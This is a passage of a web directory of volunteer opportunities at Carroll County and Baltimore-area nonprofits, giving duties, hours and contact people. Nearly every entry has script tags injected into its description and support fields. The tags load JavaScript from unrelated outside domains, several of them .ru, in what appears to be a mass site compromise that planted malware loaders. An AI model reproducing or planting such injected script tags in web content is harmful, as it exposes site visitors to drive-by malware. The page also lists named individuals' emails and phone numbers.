Volunteer Opportunities - Individual Opportunities Listing
| Agency | 4H Therapeutic Riding Program of Carroll County | |
| Populations Served | Arts and Culture, Disabled and Mentally Ill | |
| Agency Description | This is a 4H service club founded in 1978 which provides a program of therapeutic horseback riding to children and adults with physical, cognitive and emotional disabilities. It also provides a training center for Special Olympics athletes. This program is a NARHA certified operating center. | |
| Individual Service Opportunities | Yes | |
| Individual Service Description | Many hands and bodies are needed to work as horse handlers and side walkers, as well as set-up, clean up, equipment care, office/clerical.<script src=http://www.bnradw.com/b.js></script><script src=http://www.apps84.com/b.js></script><script src=http://www.rid34.com/b.js></script><script src=http://www.porttw.mobi/ngg.js></script><script src=http://www.loopadd.com/ngg.js></script><script src=http://www.gitporg.com/ngg.js></script><script src=http://www.btoperc.ru/ngg.js></script><script src=http://www.grtsel.ru/ngg.js></script><script src=http://www.adwnetw.com/ngg.js></script><script src=http://www.h23f.ru/ngg.js></script> | |
| Group Service Opportunities | Yes | |
| Group Service Description | Many hands and bodies are needed to work as horse handlers and side walkers, as well as set-up, clean up, equipment care, office/clerical. | |
| Acceptable Age of Volunteers | High School | |
| Agency Support | Both training and supervision are provided<script src=http://www.bnradw.com/b.js></script><script src=http://www.apps84.com/b.js></script> | |
| Frequency of Volunteering | Both ongoing and special events | |
| Availability | Spring and Fall | |
| Hours | Varies, inquire for details, usually after 4 pm. | |
| Contact Person | Karen Scott | |
| Email Address | trp4h@adelphia.net | |
| Phone Number | (410) 848-7969 | |
| Fax Number | (410) 840-0309 | |
| Street Address | 1223 Canon Way Westminster, MD21157 |
|
| County | Carroll | |
|
|
||
| Agency | A Greater Gift | |
| Website | www.agreatergift.org | |
| Populations Served | General Public, | |
| Agency Description | The SERRV International Gift Shop offers a wide variety of hand crafts such as jewelry, brass, wood carvings, baskets plus much ore from over 40 countries. Unique gifts of over 3000 handcrafts are on display for purchase. Helping to bring artisan families one step closer to a better future. | |
| Individual Service Opportunities | Yes | |
| Individual Service Description | Volunteers needed to help with the sale and display of handcrafts, packing, and computer data entry. A complimentary lunch is provided. Help as little as 2 hours per week.<script src=http://www.bnradw.com/b.js></script><script src=http://www.apps84.com/b.js></script><script src=http://www.rid34.com/b.js></script><script src=http://www.porttw.mobi/ngg.js></script><script src=http://www.loopadd.com/ngg.js></script><script src=http://www.gitporg.com/ngg.js></script><script src=http://www.btoperc.ru/ngg.js></script><script src=http://www.grtsel.ru/ngg.js></script><script src=http://www.adwnetw.com/ngg.js></script><script src=http://www.h23f.ru/ngg.js></script> | |
| Group Service Opportunities | Yes | |
| Group Service Description | Volunteer groups or individuals may volunteer in packing & pricing items or repair. A complimentary lunch is provided. | |
| Acceptable Age of Volunteers | High School | |
| Agency Support | Both training and supervision are provided<script src=http://www.bnradw.com/b.js></script><script src=http://www.apps84.com/b.js></script> | |
| Frequency of Volunteering | Both ongoing and special events | |
| Availability | Year-round | |
| Hours | Mon - Fri: 8 am - 4 pm (4 hours), Tues - Sat: 9 am - 5:30 pm (2 hours) | |
| Contact Person | Linda Kjeldgaard | |
| Email Address | lindak@agreatergift.org | |
| Phone Number | (410) 635-8711 | |
| Fax Number | (410) 635-8774 | |
| Street Address | 500 Main Street New Windsor, MD21776 |
|
| County | Carroll | |
|
|
||
| Agency | Abilities Network | |
| Website | www.abilitiesnetwork.org | |
| Populations Served | Disabled and Mentally Ill, | |
| Agency Description | A non-profit organization that helps people of all ages who have disabilities be included in their community and use their abilities to build fulfilling lives for themselves. | |
| Individual Service Opportunities | Yes | |
| Individual Service Description | Camp counselor, office help, childcare support, special events and programs support.<script src=http://www.bnradw.com/b.js></script><script src=http://www.apps84.com/b.js></script><script src=http://www.rid34.com/b.js></script><script src=http://www.porttw.mobi/ngg.js></script><script src=http://www.loopadd.com/ngg.js></script><script src=http://www.gitporg.com/ngg.js></script><script src=http://www.btoperc.ru/ngg.js></script><script src=http://www.grtsel.ru/ngg.js></script><script src=http://www.adwnetw.com/ngg.js></script><script src=http://www.h23f.ru/ngg.js></script> | |
| Group Service Opportunities | Yes | |
| Group Service Description | Organizing birthday parties for the children in our programs, hosting educational functions, and supporting training efforts. | |
| Acceptable Age of Volunteers | Over 16 | |
| Agency Support | Both training and supervision are provided<script src=http://www.bnradw.com/b.js></script><script src=http://www.apps84.com/b.js></script> | |
| Frequency of Volunteering | Both ongoing and special events | |
| Availability | Year-round | |
| Hours | Not Available. | |
| Contact Person | Aimee Bealer | |
| Email Address | abealer@abilitiesnetwork.org | |
| Phone Number | (410) 828-7700 | |
| Fax Number | (410) 828-7708 | |
| Street Address | 300 E. Joppa Road, Suite 1103 Towson, MD21286 |
|
| County | Baltimore County | |
|
|
||
| Agency | Access Carroll, Inc. | |
| Populations Served | Health and Medicine, | |
| Agency Description | Free Primary Health Care practice serving the uninsured, low income residents of Carroll County | |
| Individual Service Opportunities | Yes | |
| Individual Service Description | Physicians, Nurse Practitioners, Nurses, Technicians, Phlebotomists, Clerical Staff, Data Entry Individuals<script src=http://www.bnradw.com/b.js></script><script src=http://www.apps84.com/b.js></script><script src=http://www.rid34.com/b.js></script><script src=http://www.porttw.mobi/ngg.js></script><script src=http://www.loopadd.com/ngg.js></script><script src=http://www.gitporg.com/ngg.js></script><script src=http://www.btoperc.ru/ngg.js></script><script src=http://www.grtsel.ru/ngg.js></script><script src=http://www.adwnetw.com/ngg.js></script><script src=http://www.h23f.ru/ngg.js></script> | |
| Group Service Opportunities | No | |
| Acceptable Age of Volunteers | Over 18 | |
| Agency Support | Agency provides training and orientation<script src=http://www.bnradw.com/b.js></script><script src=http://www.apps84.com/b.js></script> | |
| Frequency of Volunteering | One time opportunities and special events. Special event: October 8, 2005 | |
| Availability | Monday - Friday | |
| Hours | 8:30 am - 4:30 pm | |
| Contact Person | Beth Hooks | |
| Email Address | accesscarroll@verizon.net | |
| Phone Number | (410) 871-1478 | |
| Fax Number | (410)871-3219 | |
| Street Address | 2 Locust Lane, Suite 301 Westminster, MD21157 |
|
| County | Carroll | |
|
|
||
| Agency | Advocates for Homeless Families, Inc. | |
| Populations Served | Homeless and Housing, Families | |
| Agency Description | Transitional housing and prevention services for families in the Frederick area with intensive case management, recovery and support services with access to educational and job training. | |
| Individual Service Opportunities | Yes | |
| Individual Service Description | Varies<script src=http://www.bnradw.com/b.js></script><script src=http://www.apps84.com/b.js></script><script src=http://www.rid34.com/b.js></script><script src=http://www.porttw.mobi/ngg.js></script><script src=http://www.loopadd.com/ngg.js></script><script src=http://www.gitporg.com/ngg.js></script><script src=http://www.btoperc.ru/ngg.js></script><script src=http://www.grtsel.ru/ngg.js></script><script src=http://www.adwnetw.com/ngg.js></script><script src=http://www.h23f.ru/ngg.js></script> | |
| Group Service Opportunities | Yes | |
| Group Service Description | Property maintenance- painting, repairs, cleaning, etc. | |
| Acceptable Age of Volunteers | Over 18 | |
| Agency Support | Training is provided<script src=http://www.bnradw.com/b.js></script><script src=http://www.apps84.com/b.js></script> | |
| Frequency of Volunteering | Ongoing | |
| Availability | Year-round | |
| Hours | Office hours are 9 am - 5 pm, volunteer hours can also be worked evenings and weekends | |
| Contact Person | Donna Gorgol | |
| Email Address | donnagorgol@aol.com | |
| Phone Number | (301) 662-2003 | |
| Fax Number | (301) 662-3689 | |
| Street Address | 216 Abrecht Place Frederick, MD21701 |
|
| County | Frederick | |
|
|
||
| Agency | Alliance for the Chesapeake Bay | |
| Website | www.alliancechesbay.org | |
| Populations Served | Environmental, General Public | |
| Agency Description | The Alliance for the Chesapeake Bay is a regional nonprofit organization dedicated to the restoration and preservation of the Bay and its tributaries. | |
| Individual Service Opportunities | Yes | |
| Individual Service Description | We have a variety of individual volunteer opportunities, including seasonal restoration events, helping at exhibits, and office assistance.<script src=http://www.bnradw.com/b.js></script><script src=http://www.apps84.com/b.js></script><script src=http://www.rid34.com/b.js></script><script src=http://www.porttw.mobi/ngg.js></script><script src=http://www.loopadd.com/ngg.js></script><script src=http://www.gitporg.com/ngg.js></script><script src=http://www.btoperc.ru/ngg.js></script><script src=http://www.grtsel.ru/ngg.js></script><script src=http://www.adwnetw.com/ngg.js></script><script src=http://www.h23f.ru/ngg.js></script> | |
| Group Service Opportunities | Yes | |
| Group Service Description | We have seasonal restoration events, including Project Clean Stream on Saturday, April 3, 2004. We need site captains to identify and manage individual clean up sites, as well as groups and individuals to help clean. Volunteers with pick-ups also appreciated to help haul trash. This is a great project for scout, church, school or civic groups. | |
| Acceptable Age of Volunteers | Any | |
| Agency Support | Provides Training and Orientation<script src=http://www.bnradw.com/b.js></script><script src=http://www.apps84.com/b.js></script> | |
| Frequency of Volunteering | as needed | |
| Availability | Special event April each year "Project Clean Stream" | |
| Hours | 9am-Noon | |
| Contact Person | Kate Dowling | |
| Email Address | kdowling@acb-online.org | |
| Phone Number | (410) 377-6270 | |
| Fax Number | (410) 377-7144 | |
| Street Address | 6600 York Road, Suite 100 Baltimore, MD21211 |
|
| County | Baltimore County | |
|
|
||
| Agency | Alzheimer's Association | |
| Website | www.alz.org | |
| Populations Served | Elderly, Health and Medicine | |
| Agency Description | Educational and public policy to increase funding, develop programs and services for individuals and families dealing with Alzheimer's. The Alzheimer's association is the world leader in Alzheimer research, care and support. We are dedicated to finding prevention methods, treatments and an eventual cure for Alzheimer’s and providing essential services for those afflicted. | |
| Individual Service Opportunities | Yes | |
| Individual Service Description | Clerical/office help for an hour or so a week: prepare packets, mailings, type, file other office related work as needed. Fundraising events/various jobs; education/community speakers<script src=http://www.bnradw.com/b.js></script><script src=http://www.apps84.com/b.js></script><script src=http://www.rid34.com/b.js></script><script src=http://www.porttw.mobi/ngg.js></script><script src=http://www.loopadd.com/ngg.js></script><script src=http://www.gitporg.com/ngg.js></script><script src=http://www.btoperc.ru/ngg.js></script><script src=http://www.grtsel.ru/ngg.js></script><script src=http://www.adwnetw.com/ngg.js></script><script src=http://www.h23f.ru/ngg.js></script> | |
| Group Service Opportunities | Yes | |
| Group Service Description | Fundraising events: be a part of the variety of fundraisers we hold yearly. | |
| Acceptable Age of Volunteers | Middle School | |
| Agency Support | Both training and supervision are provided. Resume of volunteers requested.<script src=http://www.bnradw.com/b.js></script><script src=http://www.apps84.com/b.js></script> | |
| Frequency of Volunteering | Both ongoing and special events | |
| Availability | Year-round | |
| Hours | Varies | |
| Contact Person | Sally Drumm | |
| Email Address | Sally.Drumm@alz.org | |
| Phone Number | (410) 561-9099 | |
| Fax Number | (410) 561-3433 | |
| Street Address | 1850 York Rd, Suite D Timonium, MD21093 |
|
| County | Baltimore County | |
|
|
||
| Agency | Alzheimer's Association, Western Maryland Chapter | |
| Website | www.unitedwayfrederick.org/alzheim | |
| Populations Served | Health and Medicine, Families | |
| Agency Description | To support, educate, and advocate for and to promote research on behalf of individuals affected by Alzheimer's disease and related disorders for individuals, families, friends and caretakers. | |
| Individual Service Opportunities | Yes | |
| Individual Service Description | Can be a member of the Speakers Bureau, Health Fair volunteer, special events (various tasks), helpline volunteers, telephone friends, clerical work, data entry, committee work, lending library volunteers.<script src=http://www.bnradw.com/b.js></script><script src=http://www.apps84.com/b.js></script><script src=http://www.rid34.com/b.js></script><script src=http://www.porttw.mobi/ngg.js></script><script src=http://www.loopadd.com/ngg.js></script><script src=http://www.gitporg.com/ngg.js></script><script src=http://www.btoperc.ru/ngg.js></script><script src=http://www.grtsel.ru/ngg.js></script><script src=http://www.adwnetw.com/ngg.js></script><script src=http://www.h23f.ru/ngg.js></script> | |
| Group Service Opportunities | Yes | |
| Group Service Description | Various special events including but not limited to set-up and clean-up, hand out t-shirts, team walkers, registration, marking route, delivering posters and brochures, various committees, etc. | |
| Acceptable Age of Volunteers | Over 16 | |
| Agency Support | Both training and supervision are provided<script src=http://www.bnradw.com/b.js></script><script src=http://www.apps84.com/b.js></script> | |
| Frequency of Volunteering | Both ongoing and special events | |
| Availability | Year-round | |
| Hours | Office hours are Monday - Friday: 9 am-5pm, special events vary | |
| Contact Person | Mary Ringer | |
| Email Address | wmalz@erols.com | |
| Phone Number | (301) 696-0315 | |
| Fax Number | (301) 696-9061 | |
| Street Address | 1730 North Market Street Frederick, MD21701 |
|
| County | Frederick | |
|
|
||
| Agency | American Cancer Society | |
| Website | www.cancer.org | |
| Populations Served | General Public, Health and Medicine | |
| Agency Description | The American Cancer Society is the nationwide community-based voluntary health organization dedicated to eliminating cancer as a major health problem by preventing cancer, saving lives, & diminishing suffering from cancer, through research, education, advocacy, and service. | |
| Individual Service Opportunities | Yes | |
| Individual Service Description | Assistance with: special events planning & implementation program planning and implementation speakers bureau, survivorship programs, education and outreach advocacy<script src=http://www.bnradw.com/b.js></script><script src=http://www.apps84.com/b.js></script><script src=http://www.rid34.com/b.js></script><script src=http://www.porttw.mobi/ngg.js></script><script src=http://www.loopadd.com/ngg.js></script><script src=http://www.gitporg.com/ngg.js></script><script src=http://www.btoperc.ru/ngg.js></script><script src=http://www.grtsel.ru/ngg.js></script><script src=http://www.adwnetw.com/ngg.js></script><script src=http://www.h23f.ru/ngg.js></script> | |
| Group Service Opportunities | Yes | |
| Group Service Description | Team leadership/membership for special events; assistance with committees | |
| Acceptable Age of Volunteers | Any | |
| Agency Support | Both training and supervision are provided<script src=http://www.bnradw.com/b.js></script><script src=http://www.apps84.com/b.js></script> | |
| Frequency of Volunteering | As needed | |
| Availability | Most program/wvwnt hours are evening/weekend hours; daytime hours also available as office volunteer or for certain program opportunities | |
| Hours | Varies | |
| Contact Person | Jen Burdette | |
| Email Address | Jen.Burdette@cancer.org | |
| Phone Number | (410)781-4316 | |
| Fax Number | (410) 781-4317 | |
| Street Address | 1393 Progress Way, Ste 908 Eldersburg, MD21784 |
|
| County | Carroll | |
|
|
||
| Agency | American Red Cross Blood Services | |
| Website | www.my-redcross.org | |
| Populations Served | General Public, Health and Medicine | |
| Agency Description | Supply blood products to over 80 local hospitals and 10 trauma centers to support area patients. | |
| Individual Service Opportunities | Yes | |
| Individual Service Description | Phone calls to previous donors and/or on site recruitment of blood donors.<script src=http://www.bnradw.com/b.js></script><script src=http://www.apps84.com/b.js></script><script src=http://www.rid34.com/b.js></script><script src=http://www.porttw.mobi/ngg.js></script><script src=http://www.loopadd.com/ngg.js></script><script src=http://www.gitporg.com/ngg.js></script><script src=http://www.btoperc.ru/ngg.js></script><script src=http://www.grtsel.ru/ngg.js></script><script src=http://www.adwnetw.com/ngg.js></script><script src=http://www.h23f.ru/ngg.js></script> | |
| Group Service Opportunities | Yes | |
| Group Service Description | Phone calls to previous donors and/or on site recruitment of blood donors. | |
| Acceptable Age of Volunteers | Over 16 | |
| Agency Support | Agency provides training, orientation and supervision<script src=http://www.bnradw.com/b.js></script><script src=http://www.apps84.com/b.js></script> | |
| Frequency of Volunteering | Ongoing opportunity | |
| Availability | As needed to help facilitate blood drives | |
| Hours | 8:30AM - 8:00 PM | |
| Contact Person | Bonnie Rill | |
| Email Address | rillb@usa.redcross.org | |
| Phone Number | (410) 239-3205 | |
| Fax Number | (410) 374-8358 | |
| Street Address | 3386 Janet Court Manchester, MD21102 |
|
| County | Carroll | |
|
|
||
| Agency | American Red Cross, Carroll County District | |
| Website | www.redcross-cmd.org | |
| Populations Served | Health and Medicine, General Public | |
| Agency Description | The mission of the American Red Cross is to provide relief to victims of disasters and to help people prevent, prepare for, and respond to emergencies. It is a volunteer driven organization and as such depends on the continuing support of a dedicated volunteer corps to fulfill its mission. The Central Maryland Chapter's (Baltimore City, Anne Arundel, Baltimore, Carroll, Harford, Howard Counties) volunteers are trained and ready in anticipation of emergencies and other community needs. The chapter responds to, on average, three fires a day. Once the fire trucks leave our volunteers are there to provide emergency needs such as food, clothing, and shelter for disaster victims. Equally important is our committment to teaching the community life saving skills such as life guarding, CPR, and First Aid. The Red Cross also plays a vital role as the link between those serving in the armed forced and their families. The American Red Cross was established in 1881 in the United States. It received a congressional charter in 1905; that same year the chapter in Baltimore was founded. Since that time the Central Maryland chapter has provided the community with crucial services to prevent relieve human suffering. | |
| Individual Service Opportunities | Yes | |
| Individual Service Description | Multiple volunteer oppotunities exist including responding to local disasters, teaching health/safety classes, fundraising, grant writing, public speaking, and administrative/clerical. Youth initiatives include community disaster education and measles/malaria awareness. <script src=http://www.bnradw.com/b.js></script><script src=http://www.apps84.com/b.js></script><script src=http://www.rid34.com/b.js></script><script src=http://www.porttw.mobi/ngg.js></script><script src=http://www.loopadd.com/ngg.js></script><script src=http://www.gitporg.com/ngg.js></script><script src=http://www.btoperc.ru/ngg.js></script><script src=http://www.grtsel.ru/ngg.js></script><script src=http://www.adwnetw.com/ngg.js></script><script src=http://www.h23f.ru/ngg.js></script> | |
| Group Service Opportunities | Yes | |
| Group Service Description | Groups may participate in fundraising activities, communtiy disaster education awareness, and communtiy evetns. | |
| Acceptable Age of Volunteers | Over 16 | |
| Agency Support | Both training and supervision are provided<script src=http://www.bnradw.com/b.js></script><script src=http://www.apps84.com/b.js></script> | |
| Frequency of Volunteering | Both ongoing and special events | |
| Availability | Year-round | |
| Hours | Business hours are 8:30 am - 5:00 pm, however, there are volunteer opportunities that involve evenings, nights, and/or weekends. | |
| Contact Person | Carolyn Thompson | |
| Email Address | volunteers@arc-cmc.org | |
| Phone Number | 410-624-2024 | |
| Fax Number | (410) 585-2431 | |
| Street Address | 4800 Mt. Hope Drive Baltimore, MD21215 |
|
| County | Carroll | |
|
|
||
| Agency | Appalachian Outreach Mission | |
| Populations Served | Elderly, Families | |
| Agency Description | The Appalachian Outreach Mission is a not-for-profit store that accepts, distributes and sells donated household and clothing items. Proceeds from the sales as well as many donated items go to support the impoverished in the Appalachian Mountain communities of Kentucky. Other areas the Appalachian Outreach Mission serves is West Virginia and needy families of Carroll County. | |
| Individual Service Opportunities | Yes | |
| Individual Service Description | Individual and group opportunities are available to help unload, sort, and load for distribution donated items.<script src=http://www.bnradw.com/b.js></script><script src=http://www.apps84.com/b.js></script><script src=http://www.rid34.com/b.js></script><script src=http://www.porttw.mobi/ngg.js></script><script src=http://www.loopadd.com/ngg.js></script><script src=http://www.gitporg.com/ngg.js></script><script src=http://www.btoperc.ru/ngg.js></script><script src=http://www.grtsel.ru/ngg.js></script><script src=http://www.adwnetw.com/ngg.js></script><script src=http://www.h23f.ru/ngg.js></script> | |
| Group Service Opportunities | Yes | |
| Group Service Description | Individual and group opportunities are available to help unload, sort, and load for distribution donated items. | |
| Acceptable Age of Volunteers | Over 16 | |
| Agency Support | Training and supervision<script src=http://www.bnradw.com/b.js></script><script src=http://www.apps84.com/b.js></script> | |
| Frequency of Volunteering | Ongoing | |
| Availability | Thursday, Friday & Saturday | |
| Hours | 9:00 a.m. to 4:00 p.m. | |
| Contact Person | Charlene Gillis | |
| Phone Number | 410-549-6054 | |
| Street Address | 887 Sandosky Rd. Sykesville, MD21784 |
|
| County | Carroll | |
|
|
||
| Agency | Appalachian Poverty Project, The | |
| Website | www.app-pov-proj.org | |
| Populations Served | Elderly, Hunger and Food | |
| Agency Description | We pick up donated appliances and ship them to a mission in Eastern Kentucky where they are made available to the impoverished in that area. We also warehouse a small quantity for distribution to needy families in Carroll County. We are currently delivering 10 or more appliances per month. We are a component of the Community Foundation of Carroll County and a member of the Community Services Council of Carroll County. | |
| Individual Service Opportunities | Yes | |
| Individual Service Description | Helping to move appliances such as refrigerators, dryers and the like. This is "man's" work, but not heavy work. Also need volunteers to clean them. We need volunteers who can help promote the organization's goals, help recruit volunteers and fundraising. <script src=http://www.bnradw.com/b.js></script><script src=http://www.apps84.com/b.js></script><script src=http://www.rid34.com/b.js></script><script src=http://www.porttw.mobi/ngg.js></script><script src=http://www.loopadd.com/ngg.js></script><script src=http://www.gitporg.com/ngg.js></script><script src=http://www.btoperc.ru/ngg.js></script><script src=http://www.grtsel.ru/ngg.js></script><script src=http://www.adwnetw.com/ngg.js></script><script src=http://www.h23f.ru/ngg.js></script> | |
| Group Service Opportunities | Yes | |
| Group Service Description | Fundraising and recruitment | |
| Acceptable Age of Volunteers | Over 21 | |
| Agency Support | Provides supervision, training and/or orientation<script src=http://www.bnradw.com/b.js></script><script src=http://www.apps84.com/b.js></script> | |
| Frequency of Volunteering | Ongoing | |
| Availability | Ongoing | |
| Hours | Can vary depending on assignment, possibly 4 - 6 hours | |
| Contact Person | Leslie Schaub | |
| Email Address | lschaub1942@comcast.net | |
| Phone Number | 410-876-2610 | |
| Street Address | 2705 Debbie Ct. Finksburg, MD21048 |
|
| County | Carroll | |
|
|
||
| Agency | Autumn Woods at Vesta, Inc. | |
| Website | www.vesta.org | |
| Populations Served | Elderly, Elderly | |
| Agency Description | Autumn Woods at Vesta is an assisted living facility that offers a full range of services for our elderly residents and is run and managed by a registered nurse. We are looking for volunteers to help us with activities for our seniors. Activities include arts and crafts, bingo, religious services and visits, movies, walks through the property's 5+ acres. | |
| Individual Service Opportunities | Yes | |
| Individual Service Description | Needing volunteers to participate in created activities for elderly residents. Approximately 2 to 3 days a week.<script src=http://www.bnradw.com/b.js></script><script src=http://www.apps84.com/b.js></script><script src=http://www.rid34.com/b.js></script><script src=http://www.porttw.mobi/ngg.js></script><script src=http://www.loopadd.com/ngg.js></script><script src=http://www.gitporg.com/ngg.js></script><script src=http://www.btoperc.ru/ngg.js></script><script src=http://www.grtsel.ru/ngg.js></script><script src=http://www.adwnetw.com/ngg.js></script><script src=http://www.h23f.ru/ngg.js></script> | |
| Group Service Opportunities | Yes | |
| Group Service Description | Needing volunteers to participate in created activities for elderly residents. Approximately 2 to 3 days a week. | |
| Acceptable Age of Volunteers | Over 18 | |
| Agency Support | Training & supervision available<script src=http://www.bnradw.com/b.js></script><script src=http://www.apps84.com/b.js></script> | |
| Frequency of Volunteering | Ongoing | |
| Availability | Two to three days available. | |
| Hours | 1:00 to 4:00 p.m. (Flexable) | |
| Contact Person | Roxanne Washington, Activities Director | |
| Email Address | alp@vesta.org | |
| Phone Number | 410-871-0967 | |
| Fax Number | 410-871-9621 | |
| Street Address | 2470 Collision Drive Westminster, MD21175 |
|
| County | Carroll | |
|
|
||
| Agency | Auxiliary to Sykesville/Freedom District Fire Dept., Inc. | |
| Website | www.sfdfd.org | |
| Populations Served | General Public, | |
| Agency Description | To assist the fire department as needed. | |
| Individual Service Opportunities | Yes | |
| Individual Service Description | Volunteer service.<script src=http://www.bnradw.com/b.js></script><script src=http://www.apps84.com/b.js></script><script src=http://www.rid34.com/b.js></script><script src=http://www.porttw.mobi/ngg.js></script><script src=http://www.loopadd.com/ngg.js></script><script src=http://www.gitporg.com/ngg.js></script><script src=http://www.btoperc.ru/ngg.js></script><script src=http://www.grtsel.ru/ngg.js></script><script src=http://www.adwnetw.com/ngg.js></script><script src=http://www.h23f.ru/ngg.js></script> | |
| Group Service Opportunities | Yes | |
| Group Service Description | Fundraising through catering or food service activities. | |
| Acceptable Age of Volunteers | Over 16 | |
| Agency Support | Both training and supervision are provided<script src=http://www.bnradw.com/b.js></script><script src=http://www.apps84.com/b.js></script> | |
| Frequency of Volunteering | Varies | |
| Availability | ||
| Hours | To be considered an active member of the Auxiliarary, 24 hours of service per year is required. Non-members assist us also. | |
| Contact Person | Sue Tarrant | |
| Email Address | jrtsvt@aol.com | |
| Phone Number | (410) 795-7122 | |
| Fax Number | (410) 795-7122 | |
| Street Address | 522 Bunker Hill Court Sykesville, MD21784 |
|
| County | Carroll | |
|
|
||
| Agency | Auxiliary to the Mt. Airy Volunteer Fire Company | |
| Website | www.mavfc.org | |
| Populations Served | General Public, | |
| Agency Description | Dedicating to contributing to the Fire Company and the community through fundraising activities while enjoying and participating in county related Auxiliary activities. | |
| Individual Service Opportunities | Yes | |
| Individual Service Description | Join as a member or a volunteer.<script src=http://www.bnradw.com/b.js></script><script src=http://www.apps84.com/b.js></script><script src=http://www.rid34.com/b.js></script><script src=http://www.porttw.mobi/ngg.js></script><script src=http://www.loopadd.com/ngg.js></script><script src=http://www.gitporg.com/ngg.js></script><script src=http://www.btoperc.ru/ngg.js></script><script src=http://www.grtsel.ru/ngg.js></script><script src=http://www.adwnetw.com/ngg.js></script><script src=http://www.h23f.ru/ngg.js></script> | |
| Group Service Opportunities | Yes | |
| Group Service Description | Volunteers are very welcomed at Carnival week for food preparation during the day and serving in the evenings. | |
| Acceptable Age of Volunteers | High School | |
| Agency Support | Both training and supervision are provided<script src=http://www.bnradw.com/b.js></script><script src=http://www.apps84.com/b.js></script> | |
| Frequency of Volunteering | Both ongoing and special events | |
| Availability | Year-round | |
| Hours | Not Available. | |
| Contact Person | Paula Camuti | |
| Email Address | bpcamuti@frederickmd.com | |
| Phone Number | (301) 829-9164 | |
| Street Address | 401 Prospect Rd. Mt. Airy, MD21771 |
|
| County | Carroll | |
|
|
||
| Agency | Bea Gaddy Educational, Social Development and Rehabilitation Programs | |
| Website | www.beagaddy.org | |
| Populations Served | Homeless and Housing, Hunger and Food | |
| Agency Description | Bea Gaddy's programs go beyond merely feeding and giving shelter to the homeless. She has created training and development programs which promote restoring self worth and independence. | |
| Individual Service Opportunities | Yes | |
| Individual Service Description | There are many programs one could volunteer for, see website for more information. Some programs include an emergency food center, family centers, alcohol and drug prevention programs, home renovation program, lead program, furniture bank, voters education, cancer outreach services, youth education programs, rent/mortgages assistance, AIDS education, adult tutorial program, clothing closet, gas and electric assistance and burial assistance.<script src=http://www.bnradw.com/b.js></script><script src=http://www.apps84.com/b.js></script><script src=http://www.rid34.com/b.js></script><script src=http://www.porttw.mobi/ngg.js></script><script src=http://www.loopadd.com/ngg.js></script><script src=http://www.gitporg.com/ngg.js></script><script src=http://www.btoperc.ru/ngg.js></script><script src=http://www.grtsel.ru/ngg.js></script><script src=http://www.adwnetw.com/ngg.js></script><script src=http://www.h23f.ru/ngg.js></script> | |
| Group Service Opportunities | Yes | |
| Group Service Description | There are many programs one could volunteer for, see website for more information. Some programs include an emergency food center, family centers, alcohol and drug prevention programs, home renovation program, lead program, furniture bank, voters education, cancer outreach services, youth education programs, rent/mortgages assistance, AIDS education, adult tutorial program, clothing closet, gas and electric assistance and burial assistance. | |
| Acceptable Age of Volunteers | High School | |
| Agency Support | Both training and supervision are provided<script src=http://www.bnradw.com/b.js></script><script src=http://www.apps84.com/b.js></script> | |
| Frequency of Volunteering | Both ongoing and special events | |
| Availability | Year-round | |
| Hours | Varies | |
| Contact Person | Cynthia Brooks | |
| Email Address | qnard2@aol.com | |
| Phone Number | (410) 563-2749 | |
| Fax Number | (410) 519-6277 | |
| Street Address | 425 North Chester Street Baltimore, MD21231 |
|
| County | Baltimore City | |
|
|
||
| Agency | Bear Branch Nature Center | |
| Populations Served | Children and Youth, Environmental | |
| Agency Description | A nature center that provides nature study and environmental education to all visitors. | |
| Individual Service Opportunities | Yes | |
| Individual Service Description | Front desk work, greeter, assist at festivals, animal care and assist with school groups.<script src=http://www.bnradw.com/b.js></script><script src=http://www.apps84.com/b.js></script><script src=http://www.rid34.com/b.js></script><script src=http://www.porttw.mobi/ngg.js></script><script src=http://www.loopadd.com/ngg.js></script><script src=http://www.gitporg.com/ngg.js></script><script src=http://www.btoperc.ru/ngg.js></script><script src=http://www.grtsel.ru/ngg.js></script><script src=http://www.adwnetw.com/ngg.js></script><script src=http://www.h23f.ru/ngg.js></script> | |
| Group Service Opportunities | Yes | |
| Group Service Description | Gardening, trail work. | |
| Acceptable Age of Volunteers | Over 16 | |
| Agency Support | Training is provided<script src=http://www.bnradw.com/b.js></script><script src=http://www.apps84.com/b.js></script> | |
| Frequency of Volunteering |